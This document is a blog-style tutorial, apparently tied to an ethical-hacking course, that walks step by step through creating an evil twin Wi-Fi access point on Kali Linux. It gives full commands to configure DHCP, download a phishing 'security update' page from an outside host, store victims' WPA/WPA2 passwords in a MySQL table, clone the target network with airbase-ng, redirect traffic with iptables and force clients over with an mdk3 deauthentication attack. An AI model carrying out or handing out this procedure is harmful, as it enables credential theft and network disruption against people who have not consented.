How can you Create an Evil Twin Access Point?

Quick intro to Evil Twin:

What is an evil twin access point? Basically, when it comes to security and especially Wi-Fi security, the name evil twin access point arises greatly. Basically, an attacker can imitate an actual Wi-Fi access point for the sake of getting to collect data from whoever attempts to access the network.

Installing a Wi-Fi access point with the same name and settings of another access point, and setting the access point and positioning it next to the impersonated one will most likely cause the victim user to fall in the trap. Since the two access points become twins, in fact, identical twins per say, the user will hardly be able to distinguish between the two access points and will try to access the evil access point as if it is the original one. This is because the signal strengths may be similar or even at times, the evil access point can be having the stronger signal.

Now, there are two cases: it is either the user's device will connect automatically to an access point, which is in this case the evil access point, or the user will manually choose the stronger access point perceiving it as, the nearer one. In both cases, all the user's sensitive data such as passwords will get intercepted by the attacker.

What do you need to set up an evil twin access point?

To be able to set up an evil twin access point, there are four main requirements:

1. Have Kali Linux installed on your machine.
2. Have a Wireless Network adapter.
3. Have your machine connected to the Internet.
4. Have a target access point.

What are the steps to accomplish the desired task?

The following steps work as a concise way to get an evil twin access point prepared for an attack:

1. Get your Kali Linux machine opened and logged in
2. Get the Internet connection established between your machine and the host machine.
3. Get a DHCP server installed on your machine: this can be done by opening the terminal and typing: “apt-get install dhcp3-server “
4. After the installation is done successfully, get the DHCP server configured with the following command:

   *“ nano/etc/*dhcpd*.conf”*

   A blank file should get opened into the terminal right away after executing this command.

5. Inside the blank file, type the following, type the following lines as they are:

   authoritative;

   default-lease-time 600;

   max-lease-time 7200;

subnet 192.168.1.128 netmask 255.255.255.128 {

option subnet-mask 255.255.255.128;

option broadcast-address 192.168.1.255;

option routers 192.168.1.129;

option domain-name-servers 8.8.8.8;

range 192.168.1.130 192.168.1.140;

}

6. Save the file by pressing on ctrl+x and then press ‘y’
7. You get to set the security update page downloaded; this page is the one which will appear when the user opens the browser. To be able to accomplish this task, you should change the directory to /var/www. You can simply type the following command for this sake:

   “cd /var/www”

8. Now that you changed the work directory, you get to type the following commands in their order:

   rm index.html

   wget *http://hackthistv.com/eviltwin.zip*

   unzip eviltwin.zip

   rm eviltwin.zip

9. Get the apache server opened now and mysql as well. The following commands respectively should do this task for you:

   /etc/init.d/apache2 start

   */etc/init.d/*mysql *start*

10. Get a database created to be able to store the users’ WPA/WPA2 passwords when they enter the security update page. The following commands are very effective to do this task for you now:

mysql *-u root*

create database evil_twin;

use evil_twin

create table wpa_keys(password varchar(64), confirm varchar(64));

Don't close the MySQL page or terminal after this step.

11. Get to know the interface name of the local network adapter and know the local IP as well. To do that, get a new separate terminal opened and type the following commands inside it:

    ip *route*

    airmon-*ng*

    airmon-*ng start wlan0*

    clear

    when you type the first command of this list: (take note of local IP n wired interface): the interface name is the one which appears after "eth0" and the local IP appears after "src"

12. Type the following commands now:

    airodump-*ng-oui-update*

    airodump-*ng -M mon0 (take note of the target* essid,bssid *and channel number which all appear after this command)*

    airbase-ng -e [ESSID] -c [ch. #] -P mon0 (such that [ESSID] is your target's ESSID and [ch. #] is the target's channel no which you took note of after the previous command)

13. Now, the evil access point is awesomely running. However, we need to get to configure our tunnel interface to be able to create a bridge between our evil twin access point and the wired interface. The name of our tunnel interface is at0. This was essentially created when we used "airbase" in the last step. To make such configurations, get a new separate terminal opened without closing neither the MySQL nor the airbase terminals. The following command should be typed into the new terminal now:

    ifconfig *at0 192.168.1.129 netmask 255.255.255.128*

14. A routing table has to be added now such that IP forwarding gets enabled. This way, traffic can go into and from our evil access point successfully. The following commands should be typed respectively to get this task done:

    route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129

    echo 1 > /proc/sys/net/ipv4/ip_forward

    iptables *–table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE*

    iptables *–append FORWARD –in-interface at0 -j ACCEPT*

    iptables *-t nat -A PREROUTING -p* tcp *–dport 80 -j DNAT –to-destination [LOCALIP ADDRESS:80]*

    iptables *-t nat -A POSTROUTING -j MASQUERADE*

    dhcpd *-cf /etc/*dhcpd*.conf -pf /var/run/*dhcpd.pid *at0*

    *etc/init.d/*isc–dhcp-*server start*

15. Perform a De-authentication attack now. This will make it compulsory for all the connected clients to connect to the evil twin access point. We need first of all to get a blacklist file created, to contain BSSID of the target. The following command will be doing this task for you:

    echo [BSSID] > blacklist

    NOTE:[BSSID] BSSID of the target

    mdk3 mon0 d -b blacklist -c [CH.#]

16. Get back to the airbase terminal; there you will know whether a user is connected to the evil twin access point. He will have entered his WPA/WPA2 password by then. To view this password, get back to the MySQL terminal and type the following commands:

    use evil_twin

    *select * from wpa_keys; {To view the password entered by the victim in our MySQL database}*

17. Congratulations! You have created the evil twin access point successfully.

Try Certified Ethical Hacker for **FREE!!!**– https://infosecaddicts.com/course/certified-ethical-hacker-v10/

Sources:

www.hacking-tutorial.com/hacking-tutorial/how-to-create-evil-twin-access-point/#sthash.rDbO247S.dpbs